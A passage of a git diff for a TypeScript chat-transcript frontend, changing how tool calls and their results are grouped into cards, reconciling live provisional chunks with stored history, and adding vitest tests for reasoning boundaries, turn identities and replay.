call(2, "a", "s1"),
- call(3, "b", "s1"),
- result(4, "a", "s1"),
- result(5, "b", "s1"),
- text(6, "assistant", "after"),
+ text(3, "assistant", "between"),
+ call(4, "b", "s1"),
+ result(5, "a"),
+ result(6, "b"),
+ text(7, "assistant", "after"),
]);
- expect(groups.map((g) => g.kind)).toEqual(["single", "tool-batch", "single"]);
+ expect(groups.map((g) => g.kind)).toEqual(["single", "tool", "single", "tool", "single"]);
});
-
- it("marks the batch provisional when any of its calls/results is provisional", () => {
- const groups = groupRenderedChunks([call(1, "a", "s1"), call(2, "b", "s1", true)]);
- const g = groups[0];
- if (g?.kind !== "tool-batch") throw new Error("expected a tool-batch group");
- expect(g.provisional).toBe(true);
- expect(g.entries).toHaveLength(2);
- expect(g.entries[1]?.result).toBeNull(); // dangling call (no result yet)
+ it("keeps pending calls and orphan results", () => {
+ const groups = toolGroups([call(1, "pending"), result(2, "orphan", "s2", true)]);
+ expect(groups[0]?.entry.result).toBeNull();
+ expect(groups[1]?.entry.call).toBeNull();
+ expect(groups[1]?.entry.toolName).toBe("tool-orphan");
+ expect(groups[1]?.provisional).toBe(true);
+ expect(groups[1]?.stepId).toBe("s2");
});
-
- it("batches one step while leaving a different single-call step ungrouped", () => {
- const groups = groupRenderedChunks([
- call(1, "a", "s1"),
- call(2, "b", "s1"),
- call(3, "c", "s2"),
- result(4, "a", "s1"),
- result(5, "b", "s1"),
- result(6, "c", "s2"),
+ it.each([
+ [true, false],
+ [false, true],
+ [false, false],
+ ])("combines call/result provisional flags (%s, %s)", (cp, rp) => {
+ expect(toolGroups([call(1, "a", "s1", cp), result(2, "a", "s1", rp)])[0]?.provisional).toBe(
+ cp || rp,
+ );
+ });
+ it("prefers call provenance, falling back to result provenance", () => {
+ const groups = toolGroups([
+ { ...call(1, "a", "s1"), turnId: "t1" },
+ { ...result(2, "a", "s2"), turnId: "t2" },
+ call(3, "b"),
+ { ...result(4, "b", "s3"), turnId: "t3" },
+ ]);
+ expect(groups.map((g) => [g.stepId, g.turnId])).toEqual([
+ ["s1", "t1"],
+ ["s3", "t3"],
+ ]);
+ });
+ it("dedupes calls/results across steps, first occurrence wins", () => {
+ const first = call(1, "a", "s1", true);
+ const firstResult = result(4, "a", "s1");
+ const groups = toolGroups([
+ first,
+ call(2, "a", "s2"),
+ call(3, "b"),
+ firstResult,
+ result(5, "a", "s2"),
+ result(6, "b"),
+ result(7, "b"),
]);
- expect(groups.map((g) => g.kind)).toEqual(["tool-batch", "single", "single"]);
- const batch = groups[0];
- if (batch?.kind !== "tool-batch") throw new Error("expected a tool-batch group");
- expect(batch.entries).toHaveLength(2);
- // the s2 single call + its result remain as separate single groups
- const singles = groups.slice(1);
- expect(singles[0]?.kind === "single" && singles[0].chunk.chunk.type).toBe("tool-call");
- expect(singles[1]?.kind === "single" && singles[1].chunk.chunk.type).toBe("tool-result");
+ expect(groups).toHaveLength(2);
+ expect(groups[0]?.entry.call).toBe(first.chunk);
+ expect(groups[0]?.entry.result).toBe(firstResult.chunk);
+ expect(groups[0]?.provisional).toBe(true);
+ });
+ it("dedupes orphan results too", () => {
+ expect(toolGroups([result(1, "a"), result(2, "a")])).toHaveLength(1);
+ });
+ it("positions a card at its call even when its result came first", () => {
+ const c = call(3, "a");
+ const groups = groupRenderedChunks([result(1, "a"), text(2, "assistant", "before call"), c]);
+ expect(groups.map((g) => g.kind)).toEqual(["single", "tool"]);
});
});
+
+it("keeps windowed committed orphan calls in Show earlier even while another payload recovers", () => {
+ const groups = groupRenderedChunks(
+ [
+ {
+ seq: 50,
+ role: "tool",
+ provisional: false,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "older",
+ toolName: "run_shell",
+ content: "output",
+ isError: false,
+ },
+ },
+ ],
+ true,
+ );
+ expect(groups[0]).toMatchObject({ kind: "tool", entry: { call: null } });
+ if (groups[0]?.kind === "tool") expect(groups[0].entry.recovering).toBeUndefined();
+});
diff --git a/src/core/chunks/groups.ts b/src/core/chunks/groups.ts
index 53a2873..6e0f8ea 100644
--- a/src/core/chunks/groups.ts
+++ b/src/core/chunks/groups.ts
@@ -1,95 +1,75 @@
import type { ToolCallChunk, ToolResultChunk } from "@dispatch/wire";
import type { RenderedChunk } from "./types";
-/**
- * One tool call within a batch, paired with its result (matched by `toolCallId`).
- * `result` is null while the call is still pending (no result chunk yet).
- */
-export interface ToolBatchEntry {
- readonly call: ToolCallChunk;
+/** One tool call and its response. Null call = unloaded history; null result = pending. */
+export interface ToolEntry {
+ readonly recovering?: boolean;
+ readonly toolCallId: string;
+ readonly toolName: string;
+ readonly call: ToolCallChunk | null;
readonly result: ToolResultChunk | null;
}
-/**
- * A render group: either a single rendered chunk (rendered as today) or a batch
- * of tool calls the model emitted together in one step (shared `stepId`), to be
- * rendered as one grouped unit.
- */
export type RenderGroup =
| { readonly kind: "single"; readonly chunk: RenderedChunk }
| {
- readonly kind: "tool-batch";
- readonly stepId: string;
- readonly entries: readonly ToolBatchEntry[];
+ readonly kind: "tool";
+ readonly entry: ToolEntry;
readonly provisional: boolean;
+ readonly stepId?: string;
+ readonly turnId?: string;
};
/**
- * Group a flat rendered-chunk stream for display. Tool calls sharing a `stepId`
- * (the backend's authoritative batch key) where the step has 2+ calls become one
- * `tool-batch` group, positioned at the first call and pairing each call with its
- * `tool-result` (by `toolCallId`); the absorbed result chunks are not emitted on
- * their own. Single tool calls (one per step, or no `stepId` — e.g. pre-0.2.0
- * replay rows) and every non-tool chunk render as `single` groups, in order.
- *
- * Pure: input → output, no DOM, no Svelte.
+ * One independent group per call, at the call's position, absorbing its result
+ * by toolCallId (including legacy chunks without stepId). Orphan results stay
+ * visible at their own position. First occurrence wins for duplicate ids, so
+ * the stable t<toolCallId> render keys are always unique, even on corrupt replay.
+ * Pure: input → output; no DOM, effects, or Svelte.
*/
-export function groupRenderedChunks(rendered: readonly RenderedChunk[]): readonly RenderGroup[] {
- // 1. Steps that batched 2+ tool calls.
- const callsPerStep = new Map<string, number>();
- for (const rc of rendered) {
- if (rc.chunk.type === "tool-call" && rc.chunk.stepId !== undefined) {
- callsPerStep.set(rc.chunk.stepId, (callsPerStep.get(rc.chunk.stepId) ?? 0) + 1);
- }
- }
- const batchSteps = new Set<string>();
- for (const [stepId, count] of callsPerStep) {
- if (count >= 2) batchSteps.add(stepId);
- }
-
- // 2. toolCallIds belonging to a batch (so their results are absorbed), and a
- // lookup of result chunks by toolCallId for pairing.
- const batchCallIds = new Set<string>();
- const resultByCallId = new Map<string, ToolResultChunk>();
+export function groupRenderedChunks(
+ rendered: readonly RenderedChunk[],
+ recovering = false,
+): readonly RenderGroup[] {
+ const calls = new Map<string, RenderedChunk>();
+ const results = new Map<string, RenderedChunk>();
for (const rc of rendered) {
- const chunk = rc.chunk;
- if (chunk.type === "tool-call" && chunk.stepId !== undefined && batchSteps.has(chunk.stepId)) {
- batchCallIds.add(chunk.toolCallId);
- } else if (chunk.type === "tool-result" && !resultByCallId.has(chunk.toolCallId)) {
- resultByCallId.set(chunk.toolCallId, chunk);
- }
+ const c = rc.chunk;
+ if (c.type === "tool-call" && !calls.has(c.toolCallId)) calls.set(c.toolCallId, rc);
+ if (c.type === "tool-result" && !results.has(c.toolCallId)) results.set(c.toolCallId, rc);
}
- // 3. Emit groups in stream order; each batch lands at its first call.
const groups: RenderGroup[] = [];
- const emittedSteps = new Set<string>();
+ const emitted = new Set<string>();
for (const rc of rendered) {
- const chunk = rc.chunk;
-
- if (chunk.type === "tool-call" && chunk.stepId !== undefined && batchSteps.has(chunk.stepId)) {
- const stepId = chunk.stepId;
- if (emittedSteps.has(stepId)) continue;
- emittedSteps.add(stepId);
-
- const entries: ToolBatchEntry[] = [];
- let provisional = false;
- for (const inner of rendered) {
- if (inner.chunk.type === "tool-call" && inner.chunk.stepId === stepId) {
- const result = resultByCallId.get(inner.chunk.toolCallId) ?? null;
- entries.push({ call: inner.chunk, result });
- if (inner.provisional) provisional = true;
- }
- }
- groups.push({ kind: "tool-batch", stepId, entries, provisional });
+ const c = rc.chunk;
+ if (c.type !== "tool-call" && c.type !== "tool-result") {
+ groups.push({ kind: "single", chunk: rc });
continue;
}
-
- if (chunk.type === "tool-result" && batchCallIds.has(chunk.toolCallId)) {
- continue; // absorbed into its batch
- }
-
- groups.push({ kind: "single", chunk: rc });
+ if (emitted.has(c.toolCallId)) continue;
+ // A matching call owns the card's position, even if the result came first.
+ if (c.type === "tool-result" && calls.has(c.toolCallId)) continue;
+ emitted.add(c.toolCallId);
+ const callRow = calls.get(c.toolCallId);
+ const resultRow = results.get(c.toolCallId);
+ const call = callRow?.chunk.type === "tool-call" ? callRow.chunk : null;
+ const result = resultRow?.chunk.type === "tool-result" ? resultRow.chunk : null;
+ const stepId = call?.stepId ?? result?.stepId;
+ const turnId = callRow?.turnId ?? resultRow?.turnId;
+ groups.push({
+ kind: "tool",
+ entry: {
+ toolCallId: c.toolCallId,
+ toolName: call?.toolName ?? c.toolName,
+ call,
+ result,
+ ...(recovering && call === null && resultRow?.provisional ? { recovering: true } : {}),
+ },
+ provisional: Boolean(callRow?.provisional || resultRow?.provisional),
+ ...(stepId !== undefined ? { stepId } : {}),
+ ...(turnId !== undefined ? { turnId } : {}),
+ });
}
-
return groups;
}
diff --git a/src/core/chunks/index.ts b/src/core/chunks/index.ts
index bdd6ce4..03d687c 100644
--- a/src/core/chunks/index.ts
+++ b/src/core/chunks/index.ts
@@ -1,4 +1,4 @@
-export type { RenderGroup, ToolBatchEntry } from "./groups";
+export type { RenderGroup, ToolEntry } from "./groups";
export { groupRenderedChunks } from "./groups";
export { resolveImageUrl } from "./image-url";
export {
@@ -7,6 +7,8 @@ export {
clearGenerating,
foldEvent,
initialState,
+ markHistoryRecovering,
+ removeLocalEcho,
} from "./reducer";
export type { ProviderRetryView } from "./retry-banner";
export { formatRetryDelay, viewProviderRetry } from "./retry-banner";
diff --git a/src/core/chunks/local-echo.test.ts b/src/core/chunks/local-echo.test.ts
new file mode 100644
index 0000000..565017c
--- /dev/null
+++ b/src/core/chunks/local-echo.test.ts
@@ -0,0 +1,45 @@
+import { describe, expect, it } from "vitest";
+import { appendUserMessage, applyHistory, foldEvent, initialState, removeLocalEcho } from "./index";
+
+describe("request-local optimistic echo", () => {
+ it("retains identity through turn-start tags without conflating identical sends", () => {
+ let state = appendUserMessage(initialState(), "same", [{ url: "data:first" }], "r1");
+ state = appendUserMessage(state, "same", [{ url: "data:second" }], "r2");
+ state = foldEvent(state, { type: "turn-start", conversationId: "c1", turnId: "t1" });
+ state = removeLocalEcho(state, "r1");
+ expect(state.provisional.map((p) => p.localRequestId)).toEqual(["r2", "r2"]);
+ expect(state.provisional.map((p) => p.chunk)).toEqual([
+ { type: "text", text: "same" },
+ { type: "image", url: "data:second" },
+ ]);
+ expect(state.generating).toBe(true);
+ expect(removeLocalEcho(state, "r1")).toBe(state);
+ });
+
+ it("a live user-message confirms only its deduplicated text, not every identical local send", () => {
+ let state = appendUserMessage(initialState(), "same", [{ url: "data:first" }], "r1");
+ state = appendUserMessage(state, "same", [{ url: "data:second" }], "r2");
+ state = foldEvent(state, { type: "turn-start", conversationId: "c1", turnId: "t1" });
+ state = foldEvent(state, {
+ type: "user-message",
+ conversationId: "c1",
+ turnId: "t1",
+ text: "same",
+ });
+ state = removeLocalEcho(removeLocalEcho(state, "r1"), "r2");
+ expect(state.provisional).toEqual([
+ { role: "user", turnId: "t1", opening: true, chunk: { type: "text", text: "same" } },
+ ]);
+ });
+
+ it("does not remove committed rows even if their content is identical", () => {
+ let state = appendUserMessage(initialState(), "same", undefined, "r1");
+ state = applyHistory(state, [{ seq: 1, role: "user", chunk: { type: "text", text: "same" } }]);
+ const committed = state.committed;
+ state = removeLocalEcho(state, "r1");
+ expect(state.committed).toBe(committed);
+ expect(state.provisional).toEqual([]);
+ expect(removeLocalEcho(state, "r1")).toBe(state);
+ expect(removeLocalEcho(initialState(), "r1")).toEqual(initialState());
+ });
+});
diff --git a/src/core/chunks/reconcile.test.ts b/src/core/chunks/reconcile.test.ts
new file mode 100644
index 0000000..3d90a51
--- /dev/null
+++ b/src/core/chunks/reconcile.test.ts
@@ -0,0 +1,143 @@
+import type { AgentEvent, StepId, StoredChunk } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import { applyHistory, foldEvent, initialState, markHistoryRecovering } from "./reducer";
+import { selectChunks } from "./selectors";
+import type { TranscriptState } from "./types";
+
+const stepId = "t1#1" as StepId;
+function fold(s: TranscriptState, e: AgentEvent) {
+ return foldEvent(s, e);
+}
+const call = (toolCallId = "a", turnId = "t1", step = stepId): AgentEvent => ({
+ type: "tool-call",
+ conversationId: "c1",
+ turnId,
+ stepId: step,
+ toolCallId,
+ toolName: "run_shell",
+ input: "partial",
+});
+const result = (toolCallId = "a"): AgentEvent => ({
+ type: "tool-result",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId,
+ toolCallId,
+ toolName: "run_shell",
+ content: "partial",
+ isError: false,
+});
+const stored: StoredChunk[] = [
+ { seq: 50, role: "assistant", turnId: "t1", chunk: { type: "text", text: "full" } },
+ {
+ seq: 51,
+ role: "assistant",
+ turnId: "t1",
+ chunk: {
+ type: "tool-call",
+ stepId,
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: { command: "full" },
+ },
+ },
+ {
+ seq: 52,
+ role: "tool",
+ turnId: "t1",
+ chunk: {
+ type: "tool-result",
+ stepId,
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "full result",
+ isError: false,
+ },
+ },
+];
+
+describe("history recovery identities", () => {
+ it.each([
+ "before-live",
+ "after-live",
+ ])("reconciles committed tool/text identity %s, not payload equality", (order) => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ if (order === "before-live") s = applyHistory(s, stored);
+ s = fold(s, { type: "text-delta", conversationId: "c1", turnId: "t1", delta: "short" });
+ s = fold(s, call());
+ s = fold(s, result());
+ if (order === "after-live") s = applyHistory(s, stored);
+ expect(selectChunks(s).map((c) => c.chunk)).toEqual(stored.map((c) => c.chunk));
+ // Idempotent refresh; different step's identical text must remain live.
+ s = fold(s, { type: "text-delta", conversationId: "c1", turnId: "t1", delta: "full" });
+ s = applyHistory(s, stored);
+ expect(selectChunks(s).at(-1)).toMatchObject({
+ provisional: true,
+ streaming: true,
+ chunk: { type: "text", text: "full" },
+ });
+ });
+
+ it("does not conflate call/result, another turn, or another step's tool identity", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, call("a", "other"));
+ s = fold(s, call("a", "t1", "other-step" as StepId));
+ s = fold(s, result("a"));
+ s = applyHistory(s, stored);
+ expect(s.provisional).toHaveLength(2);
+ expect(s.provisional.map((p) => p.turnId)).toEqual(["other", "t1"]);
+ expect(s.provisional.every((p) => p.chunk.type === "tool-call")).toBe(true);
+ });
+
+ it("terminal sync removes only that turn and keeps optimistic/unrelated/carried content", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, call());
+ s = fold(s, { type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+ s = fold(s, { type: "turn-start", conversationId: "c1", turnId: "t2" });
+ s = fold(s, { type: "text-delta", conversationId: "c1", turnId: "t2", delta: "queued tail" });
+ s = applyHistory(s, stored, ["t1"]);
+ expect(s.generating).toBe(true);
+ expect(s.currentTurnId).toBe("t2");
+ expect(s.accumulating?.text).toBe("queued tail");
+ expect(s.historyRecoveryTurnIds).toEqual([]);
+ });
+
+ it("does not resurrect watermark-hidden history; older content stays available to Show earlier", () => {
+ let s = markHistoryRecovering({ ...initialState(), hiddenBeforeSeq: 51 }, "t1");
+ s = fold(s, call());
+ s = applyHistory(s, stored);
+ expect(s.committed.map((c) => c.seq)).toEqual([51, 52]);
+ expect(s.provisional).toEqual([]);
+ expect(s.hiddenBeforeSeq).toBe(51);
+ });
+});
+
+it("keeps identical Stop→carry openings as distinct turn identities", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, { type: "user-message", conversationId: "c1", turnId: "t1", text: "same" });
+ s = fold(s, { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "aborted" });
+ s = fold(s, { type: "user-message", conversationId: "c1", turnId: "t2", text: "same" });
+ s = fold(s, { type: "turn-start", conversationId: "c1", turnId: "t2" });
+ s = applyHistory(
+ s,
+ [{ seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "same" } }],
+ ["t1"],
+ );
+ expect(selectChunks(s).map((c) => [c.turnId, c.provisional])).toEqual([
+ ["t1", false],
+ ["t2", true],
+ ]);
+ expect(s.generating).toBe(true);
+});
+
+it("reconciles steering by its completed tool batch, not repeated user text", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, result());
+ s = fold(s, { type: "steering", conversationId: "c1", turnId: "t1", text: "short" });
+ s = applyHistory(s, [
+ ...stored,
+ { seq: 53, role: "user", turnId: "t1", chunk: { type: "text", text: "full steering" } },
+ ]);
+ expect(s.provisional).toEqual([]);
+ expect(selectChunks(s).at(-1)?.chunk).toEqual({ type: "text", text: "full steering" });
+});
diff --git a/src/core/chunks/reconcile.ts b/src/core/chunks/reconcile.ts
new file mode 100644
index 0000000..277d25b
--- /dev/null
+++ b/src/core/chunks/reconcile.ts
@@ -0,0 +1,54 @@
+import type { StoredChunk } from "@dispatch/wire";
+import type { ProvisionalChunk, TranscriptState } from "./types";
+
+/**
+ * A persisted tool call proves its entire assistant step committed atomically.
+ * Text/thinking wire chunks have no stepId: their provisional provenance is
+ * learned from tool-call/step-complete, never from text equality. This also
+ * handles a window starting midway through the step and an omitted prefix.
+ * Also usable when HTTP finished before replay/live flush.
+ */
+export function historyBackedProvisional(
+ state: TranscriptState,
+ committed: readonly StoredChunk[] = state.committed,
+): ReadonlySet<ProvisionalChunk> {
+ const backed = new Set<ProvisionalChunk>();
+ if (!state.historyRecoveryTurnIds?.length) return backed;
+ const steps = new Set<string>();
+ const steeringAnchors = new Set<string>();
+ let lastResult: StoredChunk | undefined;
+ const toolRows = new Map<string, Set<string | undefined>>();
+ for (const row of committed) {
+ const c = row.chunk;
+ if (row.role === "assistant" || row.turnId !== lastResult?.turnId) lastResult = undefined;
+ if (c.type === "tool-result") lastResult = row;
+ if (row.role === "user" && c.type === "text" && lastResult?.chunk.type === "tool-result") {
+ steeringAnchors.add(`${row.turnId}\0${lastResult.chunk.toolCallId}`);
+ }
+ if (c.type === "tool-call" || c.type === "tool-result") {
+ const key = `${row.turnId}\0${c.type}\0${c.toolCallId}`;
+ const ids = toolRows.get(key) ?? new Set<string | undefined>();
+ ids.add(c.stepId);
+ toolRows.set(key, ids);
+ if (c.type === "tool-call" && c.stepId !== undefined) steps.add(`${row.turnId}\0${c.stepId}`);
+ }
+ }
+ for (const p of state.provisional) {
+ if (p.turnId === undefined || !state.historyRecoveryTurnIds?.includes(p.turnId)) continue;
+ const c = p.chunk;
+ if (c.type === "tool-call" || c.type === "tool-result") {
+ const ids = toolRows.get(`${p.turnId}\0${c.type}\0${c.toolCallId}`);
+ if (ids !== undefined && (c.stepId === undefined || ids.has(undefined) || ids.has(c.stepId)))
+ backed.add(p);
+ } else if (p.afterToolCallId !== undefined && p.role === "user") {
+ if (steeringAnchors.has(`${p.turnId}\0${p.afterToolCallId}`)) backed.add(p);
+ } else if (p.opening && c.type === "text") {
+ // The opening is the first user row of this turn; steering is NOT opening.
+ const first = committed.find((row) => row.turnId === p.turnId);
+ if (first?.role === "user" && first.chunk.type === "text") backed.add(p);
+ } else if (p.stepId !== undefined && p.role === "assistant") {
+ if (steps.has(`${p.turnId}\0${p.stepId}`)) backed.add(p);
+ }
+ }
+ return backed;
+}
diff --git a/src/core/chunks/reducer.test.ts b/src/core/chunks/reducer.test.ts
index 058552e..10d662e 100644
--- a/src/core/chunks/reducer.test.ts
+++ b/src/core/chunks/reducer.test.ts
@@ -7,6 +7,7 @@ import type {
TurnInputEvent,
TurnProviderRetryEvent,
TurnReasoningDeltaEvent,
+ TurnReasoningEndEvent,
TurnSealedEvent,
TurnStartEvent,
TurnSteeringEvent,
@@ -45,6 +46,12 @@ const reasoningDelta = (turnId: string, delta: string): TurnReasoningDeltaEvent
delta,
});
+const reasoningEnd = (turnId: string): TurnReasoningEndEvent => ({
+ type: "reasoning-end",
+ conversationId: "c1",
+ turnId,
+});
+
const toolCall = (
turnId: string,
toolCallId: string,
@@ -226,7 +233,7 @@ describe("clearGenerating", () => {
s = foldEvent(s, textDelta("t1", "partial"));
const cleared = clearGenerating(s);
expect(cleared.generating).toBe(false);
- expect(cleared.accumulating).toEqual({ kind: "text", text: "partial" });
+ expect(cleared.accumulating).toEqual({ kind: "text", text: "partial", turnId: "t1" });
expect(cleared.currentTurnId).toBe("t1");
});
});
@@ -236,7 +243,7 @@ describe("foldEvent — text-delta", () => {
let s = initialState();
s = foldEvent(s, turnStart("t1"));
s = foldEvent(s, textDelta("t1", "hello"));
- expect(s.accumulating).toEqual({ kind: "text", text: "hello" });
+ expect(s.accumulating).toEqual({ kind: "text", text: "hello", turnId: "t1" });
expect(s.provisional).toEqual([]);
});
@@ -245,7 +252,7 @@ describe("foldEvent — text-delta", () => {
s = foldEvent(s, turnStart("t1"));
s = foldEvent(s, textDelta("t1", "hello "));
s = foldEvent(s, textDelta("t1", "world"));
- expect(s.accumulating).toEqual({ kind: "text", text: "hello world" });
+ expect(s.accumulating).toEqual({ kind: "text", text: "hello world", turnId: "t1" });
expect(s.provisional).toEqual([]);
});
@@ -254,7 +261,7 @@ describe("foldEvent — text-delta", () => {
s = foldEvent(s, turnStart("t1"));
s = foldEvent(s, reasoningDelta("t1", "thinking..."));
s = foldEvent(s, textDelta("t1", "answer"));
- expect(s.accumulating).toEqual({ kind: "text", text: "answer" });
+ expect(s.accumulating).toEqual({ kind: "text", text: "answer", turnId: "t1" });
expect(s.provisional).toHaveLength(1);
expect(s.provisional[0]?.chunk).toEqual({ type: "thinking", text: "thinking..." });
expect(s.provisional[0]?.role).toBe("assistant");
@@ -266,7 +273,7 @@ describe("foldEvent — reasoning-delta", () => {
let s = initialState();
s = foldEvent(s, turnStart("t1"));
s = foldEvent(s, reasoningDelta("t1", "hmm"));
- expect(s.accumulating).toEqual({ kind: "thinking", text: "hmm" });
+ expect(s.accumulating).toEqual({ kind: "thinking", text: "hmm", turnId: "t1" });
});
it("successive reasoning-deltas extend the same chunk", () => {
@@ -274,7 +281,73 @@ describe("foldEvent — reasoning-delta", () => {
s = foldEvent(s, turnStart("t1"));
s = foldEvent(s, reasoningDelta("t1", "hmm "));
s = foldEvent(s, reasoningDelta("t1", "ok"));
- expect(s.accumulating).toEqual({ kind: "thinking", text: "hmm ok" });
+ expect(s.accumulating).toEqual({ kind: "thinking", text: "hmm ok", turnId: "t1" });
+ });
+});
+
+describe("foldEvent — reasoning-end (thinking block boundary)", () => {
+ it("closes each block so consecutive deltas become separate chunks", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "a"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "b"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(s.provisional.map((p) => p.chunk)).toEqual([
+ { type: "thinking", text: "a" },
+ { type: "thinking", text: "b" },
+ ]);
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("still merges legacy deltas with no boundary (no reasoning-end)", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "a"));
+ s = foldEvent(s, reasoningDelta("t1", "b"));
+ expect(s.accumulating).toEqual({ kind: "thinking", text: "ab", turnId: "t1" });
+ });
+
+ it("end with nothing open appends an empty thinking chunk for the turn", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(s.provisional).toHaveLength(1);
+ expect(s.provisional[0]?.chunk).toEqual({ type: "thinking", text: "" });
+ expect(s.provisional[0]?.turnId).toBe("t1");
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("text-delta then end flushes the text, then appends an empty thinking chunk", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, textDelta("t1", "x"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(s.provisional.map((p) => p.chunk)).toEqual([
+ { type: "text", text: "x" },
+ { type: "thinking", text: "" },
+ ]);
+ });
+
+ it("end for another turn flushes the open thinking and appends an empty one", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "open"));
+ s = foldEvent(s, reasoningEnd("t2"));
+ expect(s.provisional.map((p) => [p.turnId, p.chunk])).toEqual([
+ ["t1", { type: "thinking", text: "open" }],
+ ["t2", { type: "thinking", text: "" }],
+ ]);
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("clears a pending provider-retry banner", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, providerRetry("t1", 0, 5000));
+ expect(selectProviderRetry(s)).not.toBeNull();
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(selectProviderRetry(s)).toBeNull();
});
});
@@ -531,7 +604,7 @@ describe("clearGenerating also clears a stale provider-retry banner (reconnect)"
s = foldEvent(s, textDelta("t1", "partial"));
s = foldEvent(s, providerRetry("t1", 0, 5000));
const cleared = clearGenerating(s);
- expect(cleared.accumulating).toEqual({ kind: "text", text: "partial" });
+ expect(cleared.accumulating).toEqual({ kind: "text", text: "partial", turnId: "t1" });
expect(selectProviderRetry(cleared)).toBeNull();
});
});
@@ -859,7 +932,7 @@ describe("appendUserMessage", () => {
let s = initialState();
s = foldEvent(s, turnStart("t1"));
s = foldEvent(s, textDelta("t1", "partial"));
- expect(s.accumulating).toEqual({ kind: "text", text: "partial" });
+ expect(s.accumulating).toEqual({ kind: "text", text: "partial", turnId: "t1" });
s = appendUserMessage(s, "user msg");
expect(s.accumulating).toBeNull();
@@ -1022,3 +1095,115 @@ describe("applyHistory — multi-chunk image echo is superseded by committed", (
expect(msgs[0]?.chunks[1]).toEqual({ type: "image", url: PNG, mimeType: "image/png" });
});
});
+
+describe("turnId provenance on live chunks", () => {
+ it("tags every live chunk with its event's turnId, and the optimistic echo on turn-start", () => {
+ let s = initialState();
+ s = appendUserMessage(s, "q", [{ url: "data:image/png;base64,AA", mimeType: "image/png" }]);
+ expect(selectChunks(s).map((c) => c.turnId)).toEqual([undefined, undefined]);
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, textDelta("t1", "a"));
+ const chunks = selectChunks(s);
+ expect(chunks.map((c) => c.turnId)).toEqual(["t1", "t1", "t1"]);
+ });
+
+ it("turn-start does not re-tag an echo already owned by an earlier turn", () => {
+ let s = initialState();
+ s = appendUserMessage(s, "q1");
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, textDelta("t1", "a1"));
+ s = foldEvent(s, turnStart("t2"));
+ expect(selectChunks(s).map((c) => c.turnId)).toEqual(["t1", "t1"]);
+ });
+
+ it("committed chunks expose StoredChunk.turnId", () => {
+ const s = applyHistory(initialState(), [
+ { seq: 1, role: "user", chunk: { type: "text", text: "q" }, turnId: "t9" },
+ { seq: 2, role: "assistant", chunk: { type: "text", text: "a" } },
+ ]);
+ expect(selectChunks(s).map((c) => c.turnId)).toEqual(["t9", undefined]);
+ });
+});
+
+describe("foldEvent — additive wire compatibility", () => {
+ it.each(["future-event"])("preserves transcript identity for %s", (type) => {
+ const state = foldEvent(foldEvent(initialState(), turnStart("t1")), textDelta("t1", "partial"));
+ const before = structuredClone(state);
+ const event = { type, conversationId: "c1", turnId: "t1", reason: "sealed" };
+ expect(foldEvent(state, event as Parameters<typeof foldEvent>[1])).toBe(state);
+ expect(state).toEqual(before);
+ });
+});
+
+describe("foldEvent — authoritative turn terminal", () => {
+ it.each([
+ "sealed",
+ "aborted",
+ "error",
+ "rejected",
+ ] as const)("ends generation on %s", (reason) => {
+ const before = foldEvent(
+ foldEvent(initialState(), turnStart("t1")),
+ textDelta("t1", "partial"),
+ );
+ const next = foldEvent(before, {
+ type: "turn-ended",
+ conversationId: "c1",
+ turnId: "t1",
+ reason,
+ });
+ expect(next.generating).toBe(false);
+ expect(next.accumulating).toBeNull();
+ expect(selectChunks(next).map((c) => c.chunk)).toEqual([{ type: "text", text: "partial" }]);
+ expect(before.accumulating?.text).toBe("partial");
+ });
+});
+
+describe("foldEvent — re-replay of an in-flight turn (re-subscribe after tab switch / reconnect)", () => {
+ const userMessage = (turnId: string, text: string): TurnInputEvent => ({
+ type: "user-message",
+ conversationId: "c1",
+ turnId,
+ text,
+ });
+ const replay = (upTo: number) =>
+ [
+ userMessage("t1", "go"),
+ turnStart("t1"),
+ reasoningDelta("t1", "plan"),
+ toolCall("t1", "tc1", "read", {}),
+ toolResult("t1", "tc1", "read", "out"),
+ { type: "steering", conversationId: "c1", turnId: "t1", text: "also this" } as const,
+ reasoningDelta("t1", "more"),
+ toolCall("t1", "tc2", "read", {}),
+ ].slice(0, upTo);
+
+ it("replaces the stale copy instead of appending a duplicate turn", () => {
+ let s = replay(7).reduce(foldEvent, initialState()); // first view, mid-thinking
+ s = replay(8).reduce(foldEvent, s); // came back: the whole turn replays again
+ const once = replay(8).reduce(foldEvent, initialState());
+ expect(selectChunks(s)).toEqual(selectChunks(once));
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("drops a stale steering bubble that ended the old copy", () => {
+ let s = replay(6).reduce(foldEvent, initialState()); // old copy ends in steering
+ s = replay(8).reduce(foldEvent, s);
+ expect(selectChunks(s).filter((c) => c.role === "user")).toHaveLength(2); // opening + steer
+ });
+
